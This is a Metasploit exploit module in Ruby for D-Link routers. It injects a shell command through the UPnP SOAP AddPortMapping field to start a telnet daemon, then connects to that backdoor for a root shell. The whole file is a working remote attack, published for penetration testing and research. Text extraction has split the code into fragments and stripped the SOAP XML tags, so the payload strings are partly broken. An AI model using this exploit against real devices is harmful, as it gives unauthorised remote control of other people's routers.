##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'D-Link Devices UPnP SOAP Telnetd Command Execution'
,
'Description'
=> %q{
Various
D
-Link Routers are vulnerable to
OS
command injection
in
the UPnP
SOAP
interface. This
module
has been tested successfully on
DIR
-
300
,
DIR
-
600
,
DIR
-
645
,
DIR
-
845
and
DIR
-
865
. According to the vulnerability discoverer, more
D
-Link devices
may be affected.
},
'Author'
=>
[
'Michael Messner '
,
# Vulnerability discovery and Metasploit module
'juan vazquez'
# minor help with msf module
],
'License'
=>
MSF_LICENSE
,
'References'
=>
[
[
'OSVDB'
,
'94924'
],
[
'BID'
,
'61005'
],
[
'EDB'
,
'26664'
],
[
'URL'
,
'http://www.s3cur1ty.de/m1adv2013-020'
]
],
'DisclosureDate'
=>
'Jul 05 2013'
,
'Privileged'
=>
true
,
'Platform'
=>
'unix'
,
'Arch'
=>
ARCH_CMD
,
'Payload'
=>
{
'Compat'
=> {
'PayloadType'
=>
'cmd_interact'
,
'ConnectionType'
=>
'find'
,
},
},
'DefaultOptions'
=> {
'PAYLOAD'
=>
'cmd/unix/interact'
},
'Targets'
=>
[
[
'Automatic'
, { } ],
],
'DefaultTarget'
=>
0
))
register_options(
[
Opt::
RPORT
(
49152
)
#port of UPnP SOAP webinterface
],
self
.
class
)
register_advanced_options(
[
OptInt.
new
(
'TelnetTimeout'
, [
true
,
'The number of seconds to wait for a reply from a Telnet command'
,
10
]),
OptInt.
new
(
'TelnetBannerTimeout'
, [
true
,
'The number of seconds to wait for the initial banner'
,
25
])
],
self
.
class
)
end
def
tel_timeout
(datastore[
'TelnetTimeout'
] ||
10
).to_i
end
def
banner_timeout
(datastore[
'TelnetBannerTimeout'
] ||
25
).to_i
end
def
exploit
@new_portmapping_descr
= rand_text_alpha(
8
)
@new_external_port
= rand(
65535
)
@new_internal_port
= rand(
65535
)
telnetport = rand(
65535
)
vprint_status(
"#{rhost}:#{rport} - Telnetport: #{telnetport}"
)
cmd =
"telnetd -p #{telnetport}"
type =
"add"
res = request(cmd, type)
if
(!res
or
res.code !=
200
or
res.headers[
'Server'
].
nil
?
or
res.headers[
'Server'
] !~ /Linux\,\ UPnP\/
1
.
0
,\
DIR
/)
fail_with(Exploit::Failure::Unknown,
"#{rhost}:#{rport} - Unable to execute payload"
)
end
type =
"delete"
res = request(cmd, type)
if
(!res
or
res.code !=
200
or
res.headers[
'Server'
].
nil
?
or
res.headers[
'Server'
] !~ /Linux\,\ UPnP\/
1
.
0
,\
DIR
/)
fail_with(Exploit::Failure::Unknown,
"#{rhost}:#{rport} - Unable to execute payload"
)
end
print_status(
"#{rhost}:#{rport} - Trying to establish a telnet connection..."
)
sock = Rex::Socket.create_tcp({
'PeerHost'
=> rhost,
'PeerPort'
=> telnetport.to_i })
if
sock.
nil
?
fail_with(Exploit::Failure::Unreachable,
"#{rhost}:#{rport} - Backdoor service has not been spawned!!!"
)
end
print_status(
"#{rhost}:#{rport} - Trying to establish a telnet session..."
)
prompt = negotiate_telnet(sock)
if
prompt.
nil
?
sock.close
fail_with(Exploit::Failure::Unknown,
"#{rhost}:#{rport} - Unable to establish a telnet session"
)
else
print_good(
"#{rhost}:#{rport} - Telnet session successfully established..."
)
end
handler(sock)
end
def
request(cmd, type)
uri =
'/soap.cgi'
data_cmd =
""
data_cmd <<
""
data_cmd <<
""
if
type ==
"add"
vprint_status(
"#{rhost}:#{rport} - adding portmapping"
)
soapaction =
"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
data_cmd <<
""
data_cmd <<
"#{@new_portmapping_descr} "
data_cmd <<
" "
data_cmd <<
"`#{cmd}` "
data_cmd <<
"1 "
data_cmd <<
"#{@new_external_port} "
data_cmd <<
" "
data_cmd <<
"TCP "
data_cmd <<
"#{@new_internal_port} "
data_cmd <<
""
else
#we should clean it up ... otherwise we are not able to exploit it multiple times
vprint_status(
"#{rhost}:#{rport} - deleting portmapping"
)
soapaction =
"urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
data_cmd <<
""
data_cmd <<
"TCP #{@new_external_port} "
data_cmd <<
""
end
data_cmd <<
""
data_cmd <<
""
begin
res = send_request_cgi({
'uri'
=> uri,
'vars_get'
=> {
'service'
=>
'WANIPConn1'
},
'ctype'
=>
"text/xml"
,
'method'
=>
'POST'
,
'headers'
=> {
'SOAPAction'
=> soapaction,
},
'data'
=> data_cmd
})
return
res
rescue
::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable,
"#{rhost}:#{rport} - Failed to connect to the web server"
)
end
end
def
negotiate_telnet(sock)
begin
Timeout.timeout(banner_timeout)
do
while
(
true
)
data = sock.get_once(-
1
, tel_timeout)
return
nil
if
not
data
or
data.length ==
0
if
data =~ /\x23\x20$/
return
true
end
end
end
rescue
::Timeout::Error
return
nil
end
end
end